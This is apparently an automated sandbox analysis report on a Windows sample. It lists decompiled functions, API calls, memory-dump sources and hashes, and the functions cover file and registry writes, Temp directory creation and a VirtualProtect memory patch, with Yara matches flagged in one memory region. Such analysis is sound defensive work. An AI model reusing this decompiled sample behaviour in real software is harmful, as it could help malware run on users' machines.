                                                                                                                C-Code - Quality: 100%
                                                                                                                			E00406008(WCHAR* _a4) {
                                                                                                                				signed char _t3;
                                                                                                                				signed char _t7;
                                                                                                                
                                                                                                                				_t3 = GetFileAttributesW(_a4); // executed
                                                                                                                				_t7 = _t3;
                                                                                                                				if(_t7 != 0xffffffff) {
                                                                                                                					SetFileAttributesW(_a4, _t3 & 0x000000fe);
                                                                                                                				}
                                                                                                                				return _t7;
                                                                                                                			}





                                                                                                                0x0040600d
                                                                                                                0x00406013
                                                                                                                0x00406018
                                                                                                                0x00406021
                                                                                                                0x00406021
                                                                                                                0x0040602a

                                                                                                                APIs
                                                                                                                • GetFileAttributesW.KERNELBASE(?,?,00405C0D,?,?,00000000,00405DE3,?,?,?,?), ref: 0040600D
                                                                                                                • SetFileAttributesW.KERNEL32(?,00000000), ref: 00406021
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: AttributesFile
                                                                                                                • String ID:
                                                                                                                • API String ID: 3188754299-0
                                                                                                                • Opcode ID: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
                                                                                                                • Instruction ID: c979a2e86073268fb5c10017c0603d576bb262e7e1663e1e1b2ee048d1a5e24b
                                                                                                                • Opcode Fuzzy Hash: a764032cc0ce64e7f87df91ab84dfb27e8fca44cfd77f22972d2dc2d25b91850
                                                                                                                • Instruction Fuzzy Hash: 34D012725041316FC2102728EF0C89BBF55EF643717014B35F9A5A22F0CB304C638A98
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E00405AEB(WCHAR* _a4) {
                                                                                                                				int _t2;
                                                                                                                
                                                                                                                				_t2 = CreateDirectoryW(_a4, 0); // executed
                                                                                                                				if(_t2 == 0) {
                                                                                                                					return GetLastError();
                                                                                                                				}
                                                                                                                				return 0;
                                                                                                                			}




                                                                                                                0x00405af1
                                                                                                                0x00405af9
                                                                                                                0x00000000
                                                                                                                0x00405aff
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • CreateDirectoryW.KERNELBASE(?,00000000,00403520,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403810), ref: 00405AF1
                                                                                                                • GetLastError.KERNEL32 ref: 00405AFF
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: CreateDirectoryErrorLast
                                                                                                                • String ID:
                                                                                                                • API String ID: 1375471231-0
                                                                                                                • Opcode ID: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
                                                                                                                • Instruction ID: 33feed20cbbf131019f18849f7ccc9358209a8d33535326e0157453b6049084a
                                                                                                                • Opcode Fuzzy Hash: a5afa482e644e9a10fedfab033ae5dbb8931bf23a9e1c5533d9f8c1a63861871
                                                                                                                • Instruction Fuzzy Hash: 1BC04C30204501AED6105B609E48B177AA4DB50741F16843D6146E41E0DA789455EE2D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                APIs
                                                                                                                • CreateFileA.KERNELBASE(?,31322123,-69587DE0), ref: 02BC3D81
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID: CreateFile
                                                                                                                • String ID:
                                                                                                                • API String ID: 823142352-0
                                                                                                                • Opcode ID: 0728018efef71c373bb5e109159dd148c552f33a273cd519722cbbe9d0a2de5a
                                                                                                                • Instruction ID: 1cf322cdda3f3ce47c5063b52956ea0d7d19e062a6b740caaf3f807e86f15393
                                                                                                                • Opcode Fuzzy Hash: 0728018efef71c373bb5e109159dd148c552f33a273cd519722cbbe9d0a2de5a
                                                                                                                • Instruction Fuzzy Hash: D02129716003448FDB789E64CD943EE32E1FB84350F91822ED99A96294D3388982CB17
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                APIs
                                                                                                                • EnumWindows.USER32(?,?,?), ref: 02BA8A1C
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID: EnumWindows
                                                                                                                • String ID:
                                                                                                                • API String ID: 1129996299-0
                                                                                                                • Opcode ID: aca785c70ded231c5155cfb72baee162b28984ce7a35a286f602bde927d4bf72
                                                                                                                • Instruction ID: 205f30efc92440edb9fa153b25f0fb81dfbdd26fbe17eed1caa3fac766fc33bf
                                                                                                                • Opcode Fuzzy Hash: aca785c70ded231c5155cfb72baee162b28984ce7a35a286f602bde927d4bf72
                                                                                                                • Instruction Fuzzy Hash: 76F0C8711152C8AFC762CF38C8959C97F74FF1E610B2908D9D589CF112C7355989CB91
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 33%
                                                                                                                			E00402891(intOrPtr __edx, void* __eflags) {
                                                                                                                				long _t8;
                                                                                                                				long _t10;
                                                                                                                				LONG* _t12;
                                                                                                                				void* _t14;
                                                                                                                				intOrPtr _t15;
                                                                                                                				void* _t16;
                                                                                                                				void* _t19;
                                                                                                                
                                                                                                                				_t15 = __edx;
                                                                                                                				_pop(ds);
                                                                                                                				if(__eflags != 0) {
                                                                                                                					_t8 = E00402D84(2);
                                                                                                                					_pop(_t14);
                                                                                                                					 *((intOrPtr*)(_t19 - 0x10)) = _t15;
                                                                                                                					_t10 = SetFilePointer(E0040649D(_t14, _t16), _t8, _t12,  *(_t19 - 0x24)); // executed
                                                                                                                					if( *((intOrPtr*)(_t19 - 0x2c)) >= _t12) {
                                                                                                                						_push(_t10);
                                                                                                                						_push( *((intOrPtr*)(_t19 - 0xc)));
                                                                                                                						E00406484();
                                                                                                                					}
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t19 - 4));
                                                                                                                				return 0;
                                                                                                                			}










                                                                                                                0x00402891
                                                                                                                0x00402891
                                                                                                                0x00402892
                                                                                                                0x0040289a
                                                                                                                0x0040289f
                                                                                                                0x004028a0
                                                                                                                0x004028af
                                                                                                                0x004028b8
                                                                                                                0x004028be
                                                                                                                0x00402ba1
                                                                                                                0x00402ba4
                                                                                                                0x00402ba4
                                                                                                                0x004028b8
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • SetFilePointer.KERNELBASE(00000000,?,00000000,?,?), ref: 004028AF
                                                                                                                  • Part of subcall function 00406484: wsprintfW.USER32 ref: 00406491
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: FilePointerwsprintf
                                                                                                                • String ID:
                                                                                                                • API String ID: 327478801-0
                                                                                                                • Opcode ID: 1a69bed114d0c3cb27e295a60469d00fb85b85c1c8bbaab52ea3f411131a6a45
                                                                                                                • Instruction ID: a13d1cf18dcce6f7d85bed0b4e0fde0de6b16079219dfacd376ffc086bc6f252
                                                                                                                • Opcode Fuzzy Hash: 1a69bed114d0c3cb27e295a60469d00fb85b85c1c8bbaab52ea3f411131a6a45
                                                                                                                • Instruction Fuzzy Hash: D3E09271A04105BFDB01EFA5AE499AEB3B8EF44319B10483BF102F00C1DA794D119B2D
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004023B2(int __eax, WCHAR* __ebx) {
                                                                                                                				WCHAR* _t11;
                                                                                                                				WCHAR* _t13;
                                                                                                                				void* _t17;
                                                                                                                				int _t21;
                                                                                                                
                                                                                                                				_t11 = __ebx;
                                                                                                                				_t5 = __eax;
                                                                                                                				_t13 = 0;
                                                                                                                				if(__eax != __ebx) {
                                                                                                                					__eax = E00402DA6(__ebx);
                                                                                                                				}
                                                                                                                				if( *((intOrPtr*)(_t17 - 0x2c)) != _t11) {
                                                                                                                					_t13 = E00402DA6(0x11);
                                                                                                                				}
                                                                                                                				if( *((intOrPtr*)(_t17 - 0x20)) != _t11) {
                                                                                                                					_t11 = E00402DA6(0x22);
                                                                                                                				}
                                                                                                                				_t5 = WritePrivateProfileStringW(0, _t13, _t11, E00402DA6(0xffffffcd)); // executed
                                                                                                                				_t21 = _t5;
                                                                                                                				if(_t21 == 0) {
                                                                                                                					 *((intOrPtr*)(_t17 - 4)) = 1;
                                                                                                                				}
                                                                                                                				 *0x434f88 =  *0x434f88 +  *((intOrPtr*)(_t17 - 4));
                                                                                                                				return 0;
                                                                                                                			}







                                                                                                                0x004023b2
                                                                                                                0x004023b2
                                                                                                                0x004023b4
                                                                                                                0x004023b8
                                                                                                                0x004023bb
                                                                                                                0x004023c0
                                                                                                                0x004023c5
                                                                                                                0x004023ce
                                                                                                                0x004023ce
                                                                                                                0x004023d3
                                                                                                                0x004023dc
                                                                                                                0x004023dc
                                                                                                                0x004023e9
                                                                                                                0x004015b4
                                                                                                                0x004015b6
                                                                                                                0x0040292e
                                                                                                                0x0040292e
                                                                                                                0x00402c2d
                                                                                                                0x00402c39

                                                                                                                APIs
                                                                                                                • WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004023E9
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: PrivateProfileStringWrite
                                                                                                                • String ID:
                                                                                                                • API String ID: 390214022-0
                                                                                                                • Opcode ID: 498f41ba95d1dc934bc83887be66b3af98def7cf3aba53834c7129a1bd888199
                                                                                                                • Instruction ID: de4cb5ca612a6b97b91745c8380e1d92b079ec7b797fcdaf288f77766e75fad7
                                                                                                                • Opcode Fuzzy Hash: 498f41ba95d1dc934bc83887be66b3af98def7cf3aba53834c7129a1bd888199
                                                                                                                • Instruction Fuzzy Hash: FAE04F31900124BBDF603AB11F8DEAE205C6FC6744B18013EF911BA1C2E9FC8C4146AD
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004063D8(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
                                                                                                                				void* _t7;
                                                                                                                				long _t8;
                                                                                                                				void* _t9;
                                                                                                                
                                                                                                                				_t7 = E00406329(_a4,  &_a12);
                                                                                                                				if(_t7 != 0) {
                                                                                                                					_t8 = RegCreateKeyExW(_t7, _a8, 0, 0, 0, _a12, 0, _a16, 0); // executed
                                                                                                                					return _t8;
                                                                                                                				}
                                                                                                                				_t9 = 6;
                                                                                                                				return _t9;
                                                                                                                			}






                                                                                                                0x004063e2
                                                                                                                0x004063eb
                                                                                                                0x00406401
                                                                                                                0x00000000
                                                                                                                0x00406401
                                                                                                                0x004063ef
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • RegCreateKeyExW.KERNELBASE(00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,?,?,00402E57,00000000,?,?), ref: 00406401
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Create
                                                                                                                • String ID:
                                                                                                                • API String ID: 2289755597-0
                                                                                                                • Opcode ID: f0170b29b94a961cdf0cc122a920c286c7e5b726b195fdee8f598fb45efbb6e4
                                                                                                                • Instruction ID: ccab944935cfefb85f0e849ce69279fb55db75a3b7fb0960311cd9d36817041a
                                                                                                                • Opcode Fuzzy Hash: f0170b29b94a961cdf0cc122a920c286c7e5b726b195fdee8f598fb45efbb6e4
                                                                                                                • Instruction Fuzzy Hash: 04E0E6B2010109BFEF095F90DC0AD7B3B1DE704300F01892EFD06D4091E6B5AD306675
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004060DF(void* _a4, void* _a8, long _a12) {
                                                                                                                				int _t7;
                                                                                                                				long _t11;
                                                                                                                
                                                                                                                				_t11 = _a12;
                                                                                                                				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                                                                                                				if(_t7 == 0 || _t11 != _a12) {
                                                                                                                					return 0;
                                                                                                                				} else {
                                                                                                                					return 1;
                                                                                                                				}
                                                                                                                			}





                                                                                                                0x004060e3
                                                                                                                0x004060f3
                                                                                                                0x004060fb
                                                                                                                0x00000000
                                                                                                                0x00406102
                                                                                                                0x00000000
                                                                                                                0x00406104

                                                                                                                APIs
                                                                                                                • WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403498,00000000,0041EA20,000000FF,0041EA20,000000FF,000000FF,00000004,00000000), ref: 004060F3
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: FileWrite
                                                                                                                • String ID:
                                                                                                                • API String ID: 3934441357-0
                                                                                                                • Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                                                                                                • Instruction ID: d8d859634201a592f38c73999a999f352708a9e59580de02994c407fa40ca669
                                                                                                                • Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
                                                                                                                • Instruction Fuzzy Hash: FAE08C3220026AABEF109E60DC04AEB3B6CFB00360F014837FA16E7081E270E93087A4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E004060B0(void* _a4, void* _a8, long _a12) {
                                                                                                                				int _t7;
                                                                                                                				long _t11;
                                                                                                                
                                                                                                                				_t11 = _a12;
                                                                                                                				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
                                                                                                                				if(_t7 == 0 || _t11 != _a12) {
                                                                                                                					return 0;
                                                                                                                				} else {
                                                                                                                					return 1;
                                                                                                                				}
                                                                                                                			}





                                                                                                                0x004060b4
                                                                                                                0x004060c4
                                                                                                                0x004060cc
                                                                                                                0x00000000
                                                                                                                0x004060d3
                                                                                                                0x00000000
                                                                                                                0x004060d5

                                                                                                                APIs
                                                                                                                • ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004034E2,00000000,00000000,00403306,000000FF,00000004,00000000,00000000,00000000), ref: 004060C4
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: FileRead
                                                                                                                • String ID:
                                                                                                                • API String ID: 2738559852-0
                                                                                                                • Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
                                                                                                                • Instruction ID: 1583d2e05e1cff28e3594e7db3f0db2d88eef65457287744bb544c492d9958e5
                                                                                                                • Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
                                                                                                                • Instruction Fuzzy Hash: AEE0EC322502AAABDF10AE65DC04AEB7B6CEB05361F018936FD16E6150E631E92197A4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			_entry_(intOrPtr _a4, intOrPtr _a8) {
                                                                                                                
                                                                                                                				 *0x70695048 = _a4;
                                                                                                                				if(_a8 == 1) {
                                                                                                                					VirtualProtect(0x7069505c, 4, 0x40, 0x7069504c); // executed
                                                                                                                					 *0x7069505c = 0xc2;
                                                                                                                					 *0x7069504c = 0;
                                                                                                                					 *0x70695054 = 0;
                                                                                                                					 *0x70695068 = 0;
                                                                                                                					 *0x70695058 = 0;
                                                                                                                					 *0x70695050 = 0;
                                                                                                                					 *0x70695060 = 0;
                                                                                                                					 *0x7069505e = 0;
                                                                                                                				}
                                                                                                                				return 1;
                                                                                                                			}



                                                                                                                0x70692a88
                                                                                                                0x70692a8d
                                                                                                                0x70692a9d
                                                                                                                0x70692aa5
                                                                                                                0x70692aac
                                                                                                                0x70692ab1
                                                                                                                0x70692ab6
                                                                                                                0x70692abb
                                                                                                                0x70692ac0
                                                                                                                0x70692ac5
                                                                                                                0x70692aca
                                                                                                                0x70692aca
                                                                                                                0x70692ad2

                                                                                                                APIs
